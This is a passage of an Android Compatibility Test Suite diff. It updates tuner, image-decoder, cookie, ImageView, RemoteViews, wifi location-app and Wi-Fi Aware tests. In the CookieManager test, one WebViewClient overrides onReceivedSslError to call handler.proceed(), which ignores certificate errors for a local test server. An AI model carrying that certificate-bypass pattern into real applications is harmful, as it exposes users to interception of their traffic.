     // TODO: Enable Tuner CTS after Tuner Service b/159067322 feature complete
     public void testFrontendInfo() throws Exception {
         List<Integer> ids = mTuner.getFrontendIds();
-        List<FrontendInfo> infos = mTuner.getFrontendInfoList();
+        List<FrontendInfo> infos = mTuner.getAvailableFrontendInfos();
         Map<Integer, FrontendInfo> infoMap = new HashMap<>();
         for (FrontendInfo info : infos) {
             infoMap.put(info.getId(), info);
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
index a0b3b6b..fd57f37 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
@@ -355,7 +355,7 @@
     @Ignore("b/174500129")
     // TODO: Enable Tuner CTS after Tuner Service b/159067322 feature complete
     public void testCiCam() throws Exception {
-// open filter to get demux resource
+    // open filter to get demux resource
         mTuner.openFilter(
                 Filter.TYPE_TS, Filter.SUBTYPE_SECTION, 1000, getExecutor(), getFilterCallback());
 
@@ -367,9 +367,20 @@
     @Ignore("b/174500129")
     // TODO: Enable Tuner CTS after Tuner Service b/159067322 feature complete
     public void testAvSyncId() throws Exception {
-// open filter to get demux resource
+    // open filter to get demux resource
         Filter f = mTuner.openFilter(
                 Filter.TYPE_TS, Filter.SUBTYPE_AUDIO, 1000, getExecutor(), getFilterCallback());
+        Settings settings = AvSettings
+                .builder(Filter.TYPE_TS, true)
+                .setPassthrough(false)
+                .setAudioStreamType(AvSettings.AUDIO_STREAM_TYPE_MPEG1)
+                .build();
+        FilterConfiguration config = TsFilterConfiguration
+                .builder()
+                .setTpid(10)
+                .setSettings(settings)
+                .build();
+        f.configure(config);
         int id = mTuner.getAvSyncHwId(f);
         if (id != Tuner.INVALID_AV_SYNC_ID) {
             assertNotEquals(Tuner.INVALID_TIMESTAMP, mTuner.getAvSyncTime(id));
diff --git a/tests/tests/uirendering/assets/RestorePrevious.gif b/tests/tests/uirendering/assets/RestorePrevious.gif
new file mode 100644
index 0000000..5801e4f
--- /dev/null
+++ b/tests/tests/uirendering/assets/RestorePrevious.gif
Binary files differ
diff --git a/tests/tests/uirendering/jni/android_uirendering_cts_AImageDecoderTest.cpp b/tests/tests/uirendering/jni/android_uirendering_cts_AImageDecoderTest.cpp
index 33758a1..4321327 100644
--- a/tests/tests/uirendering/jni/android_uirendering_cts_AImageDecoderTest.cpp
+++ b/tests/tests/uirendering/jni/android_uirendering_cts_AImageDecoderTest.cpp
@@ -37,6 +37,9 @@
     ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoder_advanceFrame(nullptr));
 
     ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoder_rewind(nullptr));
+
+    AImageDecoder_setInternallyHandleDisposePrevious(nullptr, true);
+    AImageDecoder_setInternallyHandleDisposePrevious(nullptr, false);
 #pragma clang diagnostic pop
 }
 
@@ -269,6 +272,11 @@
     return AImageDecoder_getRepeatCount(reinterpret_cast<AImageDecoder*>(decoder));
 }
 
+static void setHandleDisposePrevious(JNIEnv*, jobject, jlong decoder, jboolean handle) {
+    AImageDecoder_setInternallyHandleDisposePrevious(reinterpret_cast<AImageDecoder*>(decoder),
+                                                     handle);
+}
+
 #define ASSET_MANAGER "Landroid/content/res/AssetManager;"
 #define STRING "Ljava/lang/String;"
 #define BITMAP "Landroid/graphics/Bitmap;"
@@ -301,6 +309,7 @@
     { "nGetDisposeOp", "(J)I", (void*) getDisposeOp },
     { "nGetBlendOp", "(J)I", (void*) getBlendOp },
     { "nGetRepeatCount", "(J)I", (void*) getRepeatCount },
+    { "nSetHandleDisposePrevious", "(JZ)V", (void*) setHandleDisposePrevious },
 };
 
 int register_android_uirendering_cts_AImageDecoderTest(JNIEnv* env) {
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AImageDecoderTest.kt b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AImageDecoderTest.kt
index 0a9a59d..8cd8cf7 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AImageDecoderTest.kt
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AImageDecoderTest.kt
@@ -20,11 +20,15 @@
 
 import android.content.res.AssetManager
 import android.graphics.Bitmap
+import android.graphics.Color
 import android.graphics.ImageDecoder
 import android.graphics.Rect
 import android.uirendering.cts.bitmapcomparers.MSSIMComparer
+import android.uirendering.cts.bitmapverifiers.BitmapVerifier
 import android.uirendering.cts.bitmapverifiers.ColorVerifier
 import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier
+import android.uirendering.cts.bitmapverifiers.RectVerifier
+import android.uirendering.cts.bitmapverifiers.RegionVerifier
 import junitparams.JUnitParamsRunner
 import junitparams.Parameters
 import org.junit.Test
@@ -826,6 +830,92 @@
                         + "frame $i, expected: ${blendOps[i]}")
     }
 
+    @Test
+    fun testHandleDisposePrevious() {
+        // The first frame is ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, followed by a single
+        // ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS frame. The third frame looks different
+        // depending on whether that is respected.
+        val image = "RestorePrevious.gif"
+        val disposeOps = intArrayOf(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                                    ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+                                    ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE)
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+
+        val width = nGetWidth(decoder)
+        val height = nGetHeight(decoder)
+        val bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888, true)
+
+        val verifiers = arrayOf<BitmapVerifier>(
+            ColorVerifier(Color.BLACK, 0),
+            RectVerifier(Color.BLACK, Color.RED, Rect(0, 0, 100, 80), 0),
+            RectVerifier(Color.BLACK, Color.GREEN, Rect(0, 0, 100, 50), 0))
+
+        with(nCreateFrameInfo()) {
+            for (i in 0..2) {
+                nGetFrameInfo(decoder, this)
+                assertEquals(disposeOps[i], nGetDisposeOp(this))
+
+                nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+                assertTrue(verifiers[i].verify(bitmap))
+                nAdvanceFrame(decoder)
+            }
+            nDeleteFrameInfo(this)
+        }
+
+        // Now redecode without letting AImageDecoder handle
+        // ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS.
+        bitmap.eraseColor(Color.TRANSPARENT)
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+        nSetHandleDisposePrevious(decoder, false)
+
+        // If the client does not handle ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS
+        // the final frame does not match.
+        for (i in 0..2) {
+            nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+            assertEquals(i != 2, verifiers[i].verify(bitmap))
+
+            if (i == 2) {
+                // Not only can we verify that frame 2 does not look as expected, but it
+                // should look as if we decoded frame 1 and did not revert it.
+                val verifier = RegionVerifier()
+                verifier.addVerifier(Rect(0, 0, 100, 50), ColorVerifier(Color.GREEN, 0))
+                verifier.addVerifier(Rect(0, 50, 100, 80), ColorVerifier(Color.RED, 0))
+                verifier.addVerifier(Rect(0, 80, 100, 100), ColorVerifier(Color.BLACK, 0))
+                assertTrue(verifier.verify(bitmap))
+            }
+            nAdvanceFrame(decoder)
+        }
+
+        // Now redecode and manually store/restore the first frame.
+        bitmap.eraseColor(Color.TRANSPARENT)
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+        nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+        val storedFrame = bitmap
+        for (i in 1..2) {
+            assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_SUCCESS)
+            val frame = storedFrame.copy(storedFrame.config, true)
+            nDecode(decoder, frame, ANDROID_IMAGE_DECODER_SUCCESS)
+            assertTrue(verifiers[i].verify(frame))
+            frame.recycle()
+        }
+
+        // This setting can be switched back, so that AImageDecoder handles it.
+        bitmap.eraseColor(Color.TRANSPARENT)
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+        nSetHandleDisposePrevious(decoder, true)
+
+        for (i in 0..2) {
+            nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+            assertTrue(verifiers[i].verify(bitmap))
+            nAdvanceFrame(decoder)
+        }
+
+        bitmap.recycle()
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
     private external fun nTestNullDecoder()
     private external fun nTestToString()
     private external fun nOpenAsset(assets: AssetManager, name: String): Long
@@ -859,4 +949,5 @@
     private external fun nGetDisposeOp(frameInfo: Long): Int
     private external fun nGetBlendOp(frameInfo: Long): Int
     private external fun nGetRepeatCount(decoder: Long): Int
+    private external fun nSetHandleDisposePrevious(decoder: Long, handle: Boolean)
 }
diff --git a/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java b/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
index 3d2d652..16c0bd7 100644
--- a/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/CookieManagerTest.java
@@ -46,6 +46,7 @@
     private WebView mWebView;
     private CookieManager mCookieManager;
     private WebViewOnUiThread mOnUiThread;
+    private CtsTestServer mServer;
 
     public CookieManagerTest() {
         super("android.webkit.cts", CookieSyncManagerCtsActivity.class);
@@ -71,6 +72,13 @@
         }
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        if (mServer != null) {
+            mServer.shutdown();
+        }
+    }
+
     public void testGetInstance() {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
@@ -103,8 +111,8 @@
         mCookieManager.setAcceptCookie(false);
         assertFalse(mCookieManager.acceptCookie());
 
-        CtsTestServer server = new CtsTestServer(getActivity(), false);
-        String url = server.getCookieUrl("conquest.html");
+        mServer = new CtsTestServer(getActivity(), false);
+        String url = mServer.getCookieUrl("conquest.html");
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals("0", mOnUiThread.getTitle()); // no cookies passed
         Thread.sleep(500);
@@ -113,7 +121,7 @@
         mCookieManager.setAcceptCookie(true);
         assertTrue(mCookieManager.acceptCookie());
 
-        url = server.getCookieUrl("war.html");
+        url = mServer.getCookieUrl("war.html");
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals("0", mOnUiThread.getTitle()); // no cookies passed
         waitForCookie(url);
@@ -125,7 +133,7 @@
         assertTrue(m.matches());
         assertEquals("0", m.group(1));
 
-        url = server.getCookieUrl("famine.html");
+        url = mServer.getCookieUrl("famine.html");
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals("1|count=0", mOnUiThread.getTitle()); // outgoing cookie
         waitForCookie(url);
@@ -135,7 +143,7 @@
         assertTrue(m.matches());
         assertEquals("1", m.group(1)); // value got incremented
 
-        url = server.getCookieUrl("death.html");
+        url = mServer.getCookieUrl("death.html");
         mCookieManager.setCookie(url, "count=41");
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         assertEquals("1|count=41", mOnUiThread.getTitle()); // outgoing cookie
@@ -328,64 +336,59 @@
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
         }
-        CtsTestServer server = null;
-        try {
-            // In theory we need two servers to test this, one server ('the first party')
-            // which returns a response with a link to a second server ('the third party')
-            // at different origin. This second server attempts to set a cookie which should
-            // fail if AcceptThirdPartyCookie() is false.
-            // Strictly according to the letter of RFC6454 it should be possible to set this
-            // situation up with two TestServers on different ports (these count as having
-            // different origins) but Chrome is not strict about this and does not check the
-            // port. Instead we cheat making some of the urls come from localhost and some
-            // from 127.0.0.1 which count (both in theory and pratice) as having different
-            // origins.
-            server = new CtsTestServer(getActivity(), /* secure */ true);
-            mOnUiThread.setWebViewClient(new WaitForLoadedClient(mOnUiThread) {
-                @Override
-                public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
-                    // ignore the test server's invalid SSL cert
-                    handler.proceed();
-                }
-            });
 
-            // Turn on Javascript (otherwise <script> aren't fetched spoiling the test).
-            mOnUiThread.getSettings().setJavaScriptEnabled(true);
+        // In theory we need two servers to test this, one server ('the first party')
+        // which returns a response with a link to a second server ('the third party')
+        // at different origin. This second server attempts to set a cookie which should
+        // fail if AcceptThirdPartyCookie() is false.
+        // Strictly according to the letter of RFC6454 it should be possible to set this
+        // situation up with two TestServers on different ports (these count as having
+        // different origins) but Chrome is not strict about this and does not check the
+        // port. Instead we cheat making some of the urls come from localhost and some
+        // from 127.0.0.1 which count (both in theory and pratice) as having different
+        // origins.
+        mServer = new CtsTestServer(getActivity(), /* secure */ true);
+        mOnUiThread.setWebViewClient(new WaitForLoadedClient(mOnUiThread) {
+            @Override
+            public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
+                // ignore the test server's invalid SSL cert
+                handler.proceed();
+            }
+        });
 
-            // Turn global allow on.
-            mCookieManager.setAcceptCookie(true);
-            assertTrue(mCookieManager.acceptCookie());
+        // Turn on Javascript (otherwise <script> aren't fetched spoiling the test).
+        mOnUiThread.getSettings().setJavaScriptEnabled(true);
 
-            // When third party cookies are disabled...
-            mOnUiThread.setAcceptThirdPartyCookies(false);
-            assertFalse(mOnUiThread.acceptThirdPartyCookies());
+        // Turn global allow on.
+        mCookieManager.setAcceptCookie(true);
+        assertTrue(mCookieManager.acceptCookie());
 
-            // ...we can't set third party cookies.
-            // First on the third party server we get a url which tries to set a cookie.
-            String cookieUrl = toThirdPartyUrl(
-                    server.getSetCookieUrl("cookie_1.js", "test1", "value1", "SameSite=None; Secure"));
-            // Then we create a url on the first party server which links to the first url.
-            String url = server.getLinkedScriptUrl("/content_1.html", cookieUrl);
-            mOnUiThread.loadUrlAndWaitForCompletion(url);
-            assertNull(mCookieManager.getCookie(cookieUrl));
+        // When third party cookies are disabled...
+        mOnUiThread.setAcceptThirdPartyCookies(false);
+        assertFalse(mOnUiThread.acceptThirdPartyCookies());
 
-            // When third party cookies are enabled...
-            mOnUiThread.setAcceptThirdPartyCookies(true);
-            assertTrue(mOnUiThread.acceptThirdPartyCookies());
+        // ...we can't set third party cookies.
+        // First on the third party server we get a url which tries to set a cookie.
+        String cookieUrl = toThirdPartyUrl(
+                mServer.getSetCookieUrl("cookie_1.js", "test1", "value1", "SameSite=None; Secure"));
+        // Then we create a url on the first party server which links to the first url.
+        String url = mServer.getLinkedScriptUrl("/content_1.html", cookieUrl);
+        mOnUiThread.loadUrlAndWaitForCompletion(url);
+        assertNull(mCookieManager.getCookie(cookieUrl));
 
-            // ...we can set third party cookies.
-            cookieUrl = toThirdPartyUrl(
-                    server.getSetCookieUrl("/cookie_2.js", "test2", "value2", "SameSite=None; Secure"));
-            url = server.getLinkedScriptUrl("/content_2.html", cookieUrl);
-            mOnUiThread.loadUrlAndWaitForCompletion(url);
-            waitForCookie(cookieUrl);
-            String cookie = mCookieManager.getCookie(cookieUrl);
-            assertNotNull(cookie);
-            assertTrue(cookie.contains("test2"));
-        } finally {
-            if (server != null) server.shutdown();
-            mOnUiThread.getSettings().setJavaScriptEnabled(false);
-        }
+        // When third party cookies are enabled...
+        mOnUiThread.setAcceptThirdPartyCookies(true);
+        assertTrue(mOnUiThread.acceptThirdPartyCookies());
+
+        // ...we can set third party cookies.
+        cookieUrl = toThirdPartyUrl(
+                mServer.getSetCookieUrl("/cookie_2.js", "test2", "value2", "SameSite=None; Secure"));
+        url = mServer.getLinkedScriptUrl("/content_2.html", cookieUrl);
+        mOnUiThread.loadUrlAndWaitForCompletion(url);
+        waitForCookie(cookieUrl);
+        String cookie = mCookieManager.getCookie(cookieUrl);
+        assertNotNull(cookie);
+        assertTrue(cookie.contains("test2"));
     }
 
     public void testb3167208() throws Exception {
diff --git a/tests/tests/widget/res/layout/imageview_layout.xml b/tests/tests/widget/res/layout/imageview_layout.xml
index 5de0769..00dfc79 100644
--- a/tests/tests/widget/res/layout/imageview_layout.xml
+++ b/tests/tests/widget/res/layout/imageview_layout.xml
@@ -49,5 +49,26 @@
         android:layout_width="wrap_content"
         android:layout_height="wrap_content" />
 
+    <ImageView
+        android:id="@+id/imageview_important_auto"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:importantForAutofill="auto"
+        android:importantForContentCapture="auto" />
+
+    <ImageView
+        android:id="@+id/imageview_important_no"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:importantForAutofill="no"
+        android:importantForContentCapture="no" />
+
+    <ImageView
+        android:id="@+id/imageview_important_yes"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:importantForAutofill="yes"
+        android:importantForContentCapture="yes" />
+
 </LinearLayout>
 
diff --git a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
index e09946d..b3392b3 100644
--- a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
@@ -60,6 +60,7 @@
 import android.net.Uri;
 import android.util.AttributeSet;
 import android.util.Xml;
+import android.view.View;
 import android.widget.ImageView;
 import android.widget.ImageView.ScaleType;
 import android.widget.cts.util.TestUtils;
@@ -159,6 +160,59 @@
 
     @UiThreadTest
     @Test
+    public void testConstructorImportantForAutofill() {
+        ImageView imageView = new ImageView(mActivity);
+        assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+        assertFalse(imageView.isImportantForAutofill());
+
+        imageView = new ImageView(mActivity, null);
+        assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+        assertFalse(imageView.isImportantForAutofill());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_auto);
+        assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+        assertFalse(imageView.isImportantForAutofill());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_no);
+        assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+        assertFalse(imageView.isImportantForAutofill());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_yes);
+        assertEquals(View.IMPORTANT_FOR_AUTOFILL_YES, imageView.getImportantForAutofill());
+        assertTrue(imageView.isImportantForAutofill());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testConstructorImportantForContentCapture() {
+        ImageView imageView = new ImageView(mActivity);
+        assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+                imageView.getImportantForContentCapture());
+        assertTrue(imageView.isImportantForContentCapture());
+
+        imageView = new ImageView(mActivity, null);
+        assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+                imageView.getImportantForContentCapture());
+        assertTrue(imageView.isImportantForContentCapture());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_auto);
+        assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+                imageView.getImportantForContentCapture());
+        assertTrue(imageView.isImportantForContentCapture());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_no);
+        assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_NO,
+                imageView.getImportantForContentCapture());
+        assertFalse(imageView.isImportantForContentCapture());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_yes);
+        assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+                imageView.getImportantForContentCapture());
+        assertTrue(imageView.isImportantForContentCapture());
+    }
+
+    @UiThreadTest
+    @Test
     public void testInvalidateDrawable() {
         mImageViewRegular.invalidateDrawable(null);
     }
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
index f547bed..a6ec3fa 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
@@ -696,7 +696,7 @@
         assertNull(newActivity);
 
         Intent intent = new Intent(Intent.ACTION_VIEW, uri);
-        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mRemoteViews.setOnClickPendingIntent(R.id.remoteView_image, pendingIntent);
         mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         mActivityRule.runOnUiThread(() -> view.performClick());
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp b/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
index bd6869a..4e74d2f 100644
--- a/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
@@ -25,4 +25,9 @@
     srcs: [
         "src/**/*.java"
     ],
+
+    static_libs: [
+        "androidx.appcompat_appcompat",
+        "androidx.test.rules",
+    ],
 }
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml b/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml
index 96fb0a6..9ad760b 100644
--- a/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml
@@ -22,6 +22,7 @@
 
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
     <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
 
@@ -50,5 +51,12 @@
             android:name=".RetrieveConnectionInfoAndReturnStatusService"
             android:permission="android.permission.BIND_JOB_SERVICE"
             android:exported="true" />
+        <activity
+            android:name=".RetrieveTransportInfoAndReturnStatusActivity"
+            android:exported="true" />
+        <service
+            android:name=".RetrieveTransportInfoAndReturnStatusService"
+            android:permission="android.permission.BIND_JOB_SERVICE"
+            android:exported="true" />
     </application>
 </manifest>
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusActivity.java b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusActivity.java
new file mode 100644
index 0000000..9f7178b
--- /dev/null
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusActivity.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts.app;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.net.ConnectivityManager;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.TransportInfo;
+import android.net.wifi.WifiInfo;
+import android.net.wifi.WifiManager;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.util.Objects;
+
+/**
+ * An activity that retrieves Transport info and returns status.
+ */
+public class RetrieveTransportInfoAndReturnStatusActivity extends Activity {
+    private static final String TAG = "RetrieveTransportInfoAndReturnStatusActivity";
+    private static final String STATUS_EXTRA = "android.net.wifi.cts.app.extra.STATUS";
+
+    public static boolean canRetrieveSsidFromTransportInfo(
+            String logTag, ConnectivityManager connectivityManager) {
+        // Assumes wifi network is the default route.
+        Network[] networks = connectivityManager.getAllNetworks();
+        if (networks == null || networks.length == 0) {
+            Log.e(logTag, " Failed to get any networks");
+            return false;
+        }
+        NetworkCapabilities wifiNetworkCapabilities = null;
+        for (Network network : networks) {
+            NetworkCapabilities networkCapabilities =
+                    connectivityManager.getNetworkCapabilities(network);
+            if (networkCapabilities == null) {
+                Log.e(logTag, "Failed to get network capabilities for network: " + network);
+                continue;
+            }
+            if (networkCapabilities.hasTransport(NetworkCapabilities.TRANSPORT_WIFI)) {
+                wifiNetworkCapabilities = networkCapabilities;
+                break;
+            }
+        }
+        if (wifiNetworkCapabilities == null) {
+            Log.e(logTag, "Failed to get network capabilities for wifi network."
+                    + " Available networks: " + networks);
+            return false;
+        }
+        TransportInfo transportInfo = wifiNetworkCapabilities.getTransportInfo();
+        if (!(transportInfo instanceof WifiInfo)) {
+            Log.e(logTag, " Failed to retrieve WifiInfo");
+            return false;
+        }
+        WifiInfo wifiInfo = (WifiInfo) transportInfo;
+        boolean succeeded = !Objects.equals(wifiInfo.getSSID(), WifiManager.UNKNOWN_SSID);
+        if (succeeded) {
+            Log.v(logTag, "SSID from transport info retrieval succeeded");
+        } else {
+            Log.v(logTag, "Failed to retrieve SSID from transport info");
+        }
+        return succeeded;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        ConnectivityManager connectivityManager  = getSystemService(ConnectivityManager.class);
+        setResult(RESULT_OK, new Intent().putExtra(
+                STATUS_EXTRA, canRetrieveSsidFromTransportInfo(TAG, connectivityManager)));
+        finish();
+    }
+}
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusService.java b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusService.java
new file mode 100644
index 0000000..1476455
--- /dev/null
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusService.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts.app;
+
+import static android.net.wifi.cts.app.RetrieveTransportInfoAndReturnStatusActivity.canRetrieveSsidFromTransportInfo;
+
+import android.app.job.JobParameters;
+import android.app.job.JobService;
+import android.content.Intent;
+import android.net.ConnectivityManager;
+import android.net.wifi.WifiManager;
+import android.os.ResultReceiver;
+import android.util.Log;
+
+/**
+ * A service that retrieves transport Info and returns status.
+ */
+public class RetrieveTransportInfoAndReturnStatusService extends JobService {
+    private static final String TAG = "RetrieveTransportInfoAndReturnStatusService";
+    private static final String RESULT_RECEIVER_EXTRA =
+            "android.net.wifi.cts.app.extra.RESULT_RECEIVER";
+
+    @Override
+    public boolean onStartJob(JobParameters jobParameters) {
+        ResultReceiver resultReceiver =
+                jobParameters.getTransientExtras().getParcelable(RESULT_RECEIVER_EXTRA);
+        ConnectivityManager connectivityManager  = getSystemService(ConnectivityManager.class);
+        resultReceiver.send(
+                canRetrieveSsidFromTransportInfo(TAG, connectivityManager) ? 1 : 0, null);
+        return false;
+    }
+
+    @Override
+    public boolean onStopJob(JobParameters jobParameters) {
+        return false;
+    }
+}
diff --git a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index 8555f76..60191a5 100644
--- a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -468,9 +468,9 @@
         }
         AwareResources resources = mWifiAwareManager.getAvailableAwareResources();
         assertNotNull("Available aware resources are null", resources);
-        assertTrue(resources.getNumOfAvailablePublishSessions() > 0);
-        assertTrue(resources.getNumOfAvailableSubscribeSessions() > 0);
-        assertTrue(resources.getNumOfAvailableDataPaths() > 0);
+        assertTrue(resources.getAvailableDataPathsCount() > 0);
+        assertTrue(resources.getAvailablePublishSessionsCount() > 0);
+        assertTrue(resources.getAvailableSubscribeSessionsCount() > 0);
     }
 
     /**
@@ -575,7 +575,7 @@
         int numOfAllPublishSessions = 0;
         if (BuildCompat.isAtLeastS()) {
             numOfAllPublishSessions = mWifiAwareManager
-                    .getAvailableAwareResources().getNumOfAvailablePublishSessions();
+                    .getAvailableAwareResources().getAvailablePublishSessionsCount();
         }
 
         // 1. publish
@@ -590,7 +590,7 @@
                 DiscoverySessionCallbackTest.ON_SESSION_DISCOVERED_LOST));
         if (BuildCompat.isAtLeastS()) {
             assertEquals(numOfAllPublishSessions - 1, mWifiAwareManager
-                    .getAvailableAwareResources().getNumOfAvailablePublishSessions());
+                    .getAvailableAwareResources().getAvailablePublishSessionsCount());
         }
         // 2. update-publish
         publishConfig = new PublishConfig.Builder().setServiceName(
@@ -610,7 +610,7 @@
                 DiscoverySessionCallbackTest.ON_SESSION_CONFIG_UPDATED));
         if (BuildCompat.isAtLeastS()) {
             assertEquals(numOfAllPublishSessions, mWifiAwareManager
-                    .getAvailableAwareResources().getNumOfAvailablePublishSessions());
+                    .getAvailableAwareResources().getAvailablePublishSessionsCount());
         }
         session.close();
     }
@@ -674,7 +674,7 @@
         int numOfAllSubscribeSessions = 0;
